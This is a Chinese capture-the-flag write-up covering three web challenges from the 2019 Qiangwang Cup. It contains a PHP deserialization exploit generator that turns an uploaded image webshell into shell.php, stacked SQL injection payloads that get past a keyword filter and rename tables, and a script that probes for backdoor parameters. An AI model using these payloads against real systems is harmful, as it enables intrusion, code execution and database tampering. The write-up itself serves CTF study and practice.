2019强网杯Web部分赛后复现

前言

由于当时没有报名参加强网杯因此,只能赛后复现一波。

0x01 upload

我们通过dirsearch可以发现源码泄露,下载下来审计。

由于是赛后复现,就没有将源码放上去。
首先我们先查看thinkphp的路由信息(html/route/route.php),关注web模块下的控制器方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

Route::post("login",'web/login/login');

Route::get("index",'web/index/index');

Route::get("home","web/index/home");

Route::post("register","web/register/register");

Route::get("logout","web/index/logout");

Route::post("upload","web/profile/upload_img");

Route::miss('web/index/index');

return [

];
先看一下html/application/web/controller/Index.php中的代码,我们需要关注的是login_check方法,这个方法从cookie中获取字符串,并将其反序列化。所以我们可以反序列化任意类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
...
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
紧接着看html/application/web/controller/Login.php中的代码,Login类里面只有一个login方法,就是常规的登陆检测,没有可利用的地方。再看html/application/web/controller/Profile.php中的代码,在upload_img方法中有上传文件复制操作,而这个操作中的$this->ext,$this->filename_tmp,$this->filename均可通过反序列化控制。如果我们能调用upload_img这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,可以考虑和图片马相结合。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
在Profile.php文件末尾还有两个魔术方法,其中$this->except在反序列化时可控,这一就有可能通过call调用任意类方法。继续看Register.php中是否存在可以触发call方法的地方。
1
2
3
4
5
6
7
8
9
10
11
12
<?php
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
我们看到html/application/web/controller/Register.php文件中存在destruct,其中$this->registed,$this->checker在反序列化时也是可控的。如果我们将$this->checker赋值为Register类,而Register类没有index方法,所以调用的时候就会触发call方法,这样就形成了一条完整的攻击链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Index();
}

public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}

public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
最终用下面生成的 EXP 作为 cookies 访问网页,即可将原来上传的图片马名字修改成 shell.php ,依次找 flag 即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace app\web\controller;
use think\Controller;

class Register
{
public $checker;
public $registed = false;
public function __construct($checker){
$this->checker = $checker;
}
}

class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

魔法方法的测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

class liangjie{
public $filename_tmp='1';
public $filename='2';
public $ext=true;
public $execpt=array('index'=>'upload_img');

public function upload_img($arguments){
if ($this->ext){
print_r($arguments);
}
}

// 访问不可调用的资源时调用
public function __get($name)
{
return $this->execpt[$name];
}

public function __call($name, $arguments)
{
if ($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}

$ljdd520=new liangjie();
$ljdd520->index("liangjie","liyu");
图片木马的生成方式:
https://ljdd520.github.io/2020/01/16/%E5%9B%BE%E7%89%87%E6%9C%A8%E9%A9%AC%E5%88%B6%E4%BD%9C%E5%A4%A7%E6%B3%95/#more
0x02 随便注
由于是赛后复现因此我们先看看源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<html>

<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}

function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}

if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";

$res = $mysqli->multi_query($sql);

if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>

</body>

</html>
方法一:
fuzz一下,会发现ban了以下字符:
1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
发现支持多语句查询。查表语句为:
1
http://192.168.220.154:8302/?inject=0%27%3Bshow+tables%3B%23

由于过滤了select等关键字,我们可以用预编译来构造带有select的sql语句。
1
2
3
4
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;
结果显示:
1
strstr($inject, "set") && strstr($inject, "prepare")
既然是用strstr来匹配关键字,那么直接大小写关键字绕过:
1
http://192.168.220.154:8302/?inject=1%27%3bSet+%40sqll%3dconcat(%27sel%27,%27ect+*+from+`1919810931114514`%27)%3bPrepare+presql+from+%40sqll%3bexecute+presql%3bdeallocate+Prepare+presql%3b%23

方法二:
知识点:堆叠注入
先来随便测试一下,看看是否有注入。
1
2
/?inject=1%27+or+%271%27%3D%271
/?inject=1' or '1'='1

测试一下过滤了哪些函数:

过滤了select,update,delete,drop,insert,where和.。
那么我们测试一波看看是不是有堆叠注入。
1
2
3
4
5
6
7
8
/?inject=1'%3Bshow+databases%3B%23
/?inject=1';show databases;#
```
![](https://raw.githubusercontent.com/ljdd520/images/master/img/2019-qwb-supersqli-5.PNG)
###### 接下来看看有什么表。
```text
/?inject=1'%3Bshow+tables%3B%23
/?inject=1';show tables;#

我们可以看看这个数字为名字的表里面有什么。看看有没有flag。
1
2
/?inject=1'%3Bshow+columns+from+`1919810931114514`%3B%23
/?inject=1';show columns from `1919810931114514`;#

然后是words表,看起来就是默认查询的表了。
1
2
/?inject=1%27%3Bshow+columns%20from%20`words`%3B%23
/?inject=1';show columns from `words`;#
它既然没有过滤alter和rename,那么我们是不是可以把表改个名字,再给列改个名字吗?先把words改名为words1,再把这个数字表改名为words,然后把新的words里的flag列改为id(避免一开始无法查询)。这样就可以让程序直接查询出flag了。
构造的payload如下,然后访问,看到这个看来就执行到最后一个语句了。
1
2
3
/?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

1' or '1'='1访问一下。
1
2
/?inject=1%27+or+%271%27%3D%271#
/?inject=1' or '1'='1

0x03 高明的黑客

从题目的源码来看,好像黑客留了shell,我们需要从这些源码中找到正真的shell.。

我们先搜搜常见的shell,类似eval($_GET[xx])或者system($_GET[xx])。这里通过程序来寻找shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

最终发现正真的shell,直接连上查找flag即可。

参考链接
https://mochazz.github.io/2019/05/27/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#upload
https://www.zhaoj.in/read-5873.html